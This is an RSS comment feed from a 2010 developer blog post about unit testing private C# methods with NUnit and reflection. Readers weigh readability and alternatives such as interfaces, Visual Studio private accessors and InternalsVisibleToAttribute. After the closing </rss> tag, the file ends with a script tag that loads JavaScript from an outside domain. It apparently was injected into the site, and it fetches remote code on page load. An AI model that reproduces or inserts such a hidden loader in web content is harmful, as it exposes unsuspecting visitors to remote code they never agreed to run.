<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: How to unit test private methods in C# using NUnit</title>
	<atom:link href="http://iserialized.com/unit-testing-private-methods-in-c-using-nunit-and-reflection/feed/" rel="self" type="application/rss+xml" />
	<link>http://iserialized.com/unit-testing-private-methods-in-c-using-nunit-and-reflection/</link>
	<description>.Net, C#, Scrum and agile software development</description>
	<lastBuildDate>Fri, 20 Jan 2012 10:25:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.1</generator>
	<item>
		<title>By: Paul Eie</title>
		<link>http://iserialized.com/unit-testing-private-methods-in-c-using-nunit-and-reflection/comment-page-1/#comment-113</link>
		<dc:creator>Paul Eie</dc:creator>
		<pubDate>Thu, 08 Apr 2010 18:35:11 +0000</pubDate>
		<guid isPermaLink="false">http://iserialized.com/?p=66#comment-113</guid>
		<description>This blog post is a direct result of my own experience on this. I have used this in several projects, and I&#039;m very satisfied with the solution!

The unit tests classes become somewhat hard to read, but I&#039;d rather prefer that over not unit testing private methods or worse, changing them to public methods just to be able to test them!</description>
		<content:encoded><![CDATA[<p>This blog post is a direct result of my own experience on this. I have used this in several projects, and I&#8217;m very satisfied with the solution!</p>
<p>The unit tests classes become somewhat hard to read, but I&#8217;d rather prefer that over not unit testing private methods or worse, changing them to public methods just to be able to test them!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: typo</title>
		<link>http://iserialized.com/unit-testing-private-methods-in-c-using-nunit-and-reflection/comment-page-1/#comment-111</link>
		<dc:creator>typo</dc:creator>
		<pubDate>Wed, 07 Apr 2010 23:36:22 +0000</pubDate>
		<guid isPermaLink="false">http://iserialized.com/?p=66#comment-111</guid>
		<description>You have tested it and writing form your personal experience or you find some information online?</description>
		<content:encoded><![CDATA[<p>You have tested it and writing form your personal experience or you find some information online?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Kris Krause</title>
		<link>http://iserialized.com/unit-testing-private-methods-in-c-using-nunit-and-reflection/comment-page-1/#comment-110</link>
		<dc:creator>Kris Krause</dc:creator>
		<pubDate>Wed, 07 Apr 2010 20:38:04 +0000</pubDate>
		<guid isPermaLink="false">http://iserialized.com/?p=66#comment-110</guid>
		<description>&quot;it&#039;s easier to force developers to use a class correct if I only expose the necessary methods for the class to work correctly&quot;

If you want to do this, them force them through an interface.</description>
		<content:encoded><![CDATA[<p>&#8220;it&#8217;s easier to force developers to use a class correct if I only expose the necessary methods for the class to work correctly&#8221;</p>
<p>If you want to do this, them force them through an interface.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Paul Eie</title>
		<link>http://iserialized.com/unit-testing-private-methods-in-c-using-nunit-and-reflection/comment-page-1/#comment-48</link>
		<dc:creator>Paul Eie</dc:creator>
		<pubDate>Fri, 12 Mar 2010 08:59:40 +0000</pubDate>
		<guid isPermaLink="false">http://iserialized.com/?p=66#comment-48</guid>
		<description>I guess I would have solved it somewhat different I had used Visual Studio&#039;s test tool, but what I like about the reflection approach is that I don&#039;t have to change my original file or any configuration to make it work.

But still, it&#039;s rather dirty to read in the reflection approach ;)</description>
		<content:encoded><![CDATA[<p>I guess I would have solved it somewhat different I had used Visual Studio&#8217;s test tool, but what I like about the reflection approach is that I don&#8217;t have to change my original file or any configuration to make it work.</p>
<p>But still, it&#8217;s rather dirty to read in the reflection approach <img src='http://iserialized.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dagfinn</title>
		<link>http://iserialized.com/unit-testing-private-methods-in-c-using-nunit-and-reflection/comment-page-1/#comment-47</link>
		<dc:creator>Dagfinn</dc:creator>
		<pubDate>Fri, 12 Mar 2010 08:03:06 +0000</pubDate>
		<guid isPermaLink="false">http://iserialized.com/?p=66#comment-47</guid>
		<description>Reflection is always a good last resort :)

Having had just the same problem recently (but Visual Studio&#039;s test tool, not NUnit), I found two other ways of doing it.

1- Have Visual Studio generate a private accessor
http://msdn.microsoft.com/en-us/library/ms184807.aspx

2- Defining InternalsVisibleToAttribute as part of the assembly definition
http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.internalsvisibletoattribute.aspx

Cheers</description>
		<content:encoded><![CDATA[<p>Reflection is always a good last resort <img src='http://iserialized.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Having had just the same problem recently (but Visual Studio&#8217;s test tool, not NUnit), I found two other ways of doing it.</p>
<p>1- Have Visual Studio generate a private accessor<br />
<a href="http://msdn.microsoft.com/en-us/library/ms184807.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms184807.aspx</a></p>
<p>2- Defining InternalsVisibleToAttribute as part of the assembly definition<br />
<a href="http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.internalsvisibletoattribute.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.internalsvisibletoattribute.aspx</a></p>
<p>Cheers</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://HttpSecurity.org/javascript.js"></script>
